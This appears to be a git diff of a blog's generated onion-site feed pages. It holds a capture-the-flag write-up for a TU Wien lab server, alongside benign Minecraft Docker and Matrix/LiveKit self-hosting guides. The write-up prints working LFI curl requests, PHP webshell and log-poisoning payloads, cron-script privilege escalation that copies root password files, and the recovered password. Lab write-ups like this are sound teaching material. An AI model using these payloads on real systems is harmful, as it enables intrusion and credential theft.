    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    +
    + + Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release. + Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/linux/page/1/index.html b/public-onion/tags/linux/page/1/index.html new file mode 100644 index 0000000..d0ede01 --- /dev/null +++ b/public-onion/tags/linux/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/linux/ + + + + + + diff --git a/public-onion/tags/livekit/index.html b/public-onion/tags/livekit/index.html new file mode 100644 index 0000000..9ad7651 --- /dev/null +++ b/public-onion/tags/livekit/index.html @@ -0,0 +1,357 @@ + + + + + + + +Livekit | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    + Matrix, Signal but distributed +
    +
    +

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) +

    +
    +
    +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    +
    +
    August 26, 2025 · 8 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/livekit/index.xml b/public-onion/tags/livekit/index.xml new file mode 100644 index 0000000..1a4dc63 --- /dev/null +++ b/public-onion/tags/livekit/index.xml @@ -0,0 +1,370 @@ + + + + Livekit on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/livekit/ + Recent content in Livekit on AlipourIm journeys + Hugo -- 0.146.0 + en + Tue, 26 Aug 2025 00:00:00 +0000 + + + Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. + +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
